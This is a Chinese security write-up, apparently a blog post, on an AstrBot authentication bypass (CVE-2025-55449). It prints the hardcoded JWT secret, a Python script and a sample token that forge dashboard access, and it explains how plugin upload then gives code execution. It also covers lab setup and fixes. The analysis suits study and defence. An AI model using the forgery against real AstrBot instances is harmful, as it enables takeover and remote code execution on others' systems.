0x0 背景介绍
AstrBot是 AstrBotDevs 开发的一款开源大型语言模型聊天机器人及开发框架,支持多平台部署和插件扩展。该项目基于Python开发,提供Web管理界面(dashboard),允许用户通过插件系统扩展功能,集成各类大语言模型 API,广泛应用于企业和个人构建自定义AI助手场景。AstrBot 使用了固定的 JWT 签名密钥,攻击者可利用该密钥伪造任意有效的 JWT 认证令牌,完全绕过身份验证机制。成功绕过认证后,攻击者可访问插件管理接口,通过上传恶意的 Python 插件文件实现远程代码执行。
0x1 环境搭建
Ubuntu24+Docker搭建配置
#创建专属目录
mkdir astrbot-cve-jwt&cd astrbot-cve-jwt/
#拉取项目
wget https://github.com/AstrBotDevs/AstrBot/archive/refs/tags/v3.5.17.zip
#解压项目
unzip v3.5.17.zip
cd AstrBot-3.5.17/
#拉取docker
docker build -t astrbot-cve-2025-55449:3.5.17 .
#docker启动
docker run -d \
--name astrbot-cve-2025-55449 \
-p 6185:6185 \
-v "$PWD/data:/app/data" \
--restart unless-stopped \
astrbot-cve-2025-55449:3.5.17
#或者参考官方文档部署,较为简单 [官方使用方式](https://docs.astrbot.app/deploy/astrbot/docker.html)
#检查是否启动成功
docker logs -f 76af634e14f2

0x2 漏洞复现
Xray-xpoc检测
https://github.com/Kai-One001/cve-/blob/main/AstrBot-RCE-hard-coded-CVE-2025-55449.yml
复现截图

复现流量特征 (PCAP)
1、公开密钥伪造的令牌进行安装

2、后续明文命令执行

0x3 漏洞原理分析
漏洞位置
漏洞位于 AstrBot-3.5.17/astrbot/core/__init__.py 文件:
# 初始化数据存储文件夹
os.makedirs(get_astrbot_data_path(), exist_ok=True)
WEBUI_SK = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
DEMO_MODE = os.getenv("DEMO_MODE", False)
通过 IDE 搜索发现仅两处引用:

1. JWT 密钥硬编码 + 身份伪造
Token 生成(auth.py)
def generate_jwt(self, username):
payload = {
"username": username,
"exp": datetime.utcnow() + timedelta(days=7),
}
token = jwt.encode(payload, WEBUI_SK, algorithm="HS256")
return token
- 仅依赖 username 字段
- 无用户存在性校验(任意用户名均可签发)
- 无角色/权限信息绑定
Token 验证(server.py)
async def auth_middleware(self):
try:
payload = jwt.decode(token, WEBUI_SK, algorithms=["HS256"])
g.username = payload["username"] # ← 直接信任!
except jwt.ExpiredSignatureError:
return 401
except jwt.InvalidTokenError:
return 401
- 仅验证签名有效性 + 过期时间
- 不验证 username 是否真实存在于系统配置中
- 无任何权限级别检查
1.1 接口利用
- 文件位置:
astrbot/dashboard/routes/plugin.py
async def install_plugin_upload(self):
if DEMO_MODE: return error
file = await request.files["file"]
await file.save(...)
plugin_info = await self.plugin_manager.install_plugin_from_file(file_path)
- 工作流程:上传 ZIP → 自动解压 → 动态加载 Python 模块 → 任意代码执行
- 严格说,这里应该控制谁可以使用接口,而不是没有验证 g.username 是否等于配置中的合法管理员用户名
2.尝试伪造
import jwt, datetime
key = "Advanced_System_for_Text_Response_and_Bot_Operations_Tool"
payload = {"username": "404LM", "exp": datetime.datetime.utcnow() + datetime.timedelta(days=7)}
forged = jwt.encode(payload, key, algorithm="HS256")
print(forged)
- 使用该 Token 访问 /api/plugin/* 接口即可通过认证。

3. JWT 结构解析
-
JWT 格式为:Header.Payload.Signature
-
伪造的 Token 示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjQwNExNIiwiZXhwIjoxNzY0NTc1ODM0fQ.kdEj7q3sK4mFGZxStO7d-btECe2gJP_5GjENsVisXHM
第一部分:Header(头部)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
解码为:
{
"alg": "HS256",
"typ": "JWT"
}
- 得知系统使用的算法签名和令牌类型
第二部分:Payload(载荷)
eyJ1c2VybmFtZSI6IjQwNExNIiwiZXhwIjoxNzY0NTc1ODM0fQ
解码为:
{
"username": "404LM",
"exp": 1764575834 // 对应 2025-12-01 16:30:34 UTC
}
- 得知,伪造的用户名和过期时间(时间戳)
第三部分:Signature(签名)
kdEj7q3sK4mFGZxStO7d-btECe2gJP_5GjENsVisXHM
这个是对前两部分(Header + Payload)使用 HMAC-SHA256 算法 + 密钥 计算出的签名
- 密钥已知,签名可被任意伪造
0x4 修复建议
修复方案
-
升级到最新版本:升级到 v3.5.18 或更高版本。AstrBot
-
临时防护措施:限制 WebUI 访问或者反向代理增加额外验证
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。

1148

被折叠的 条评论
为什么被折叠?



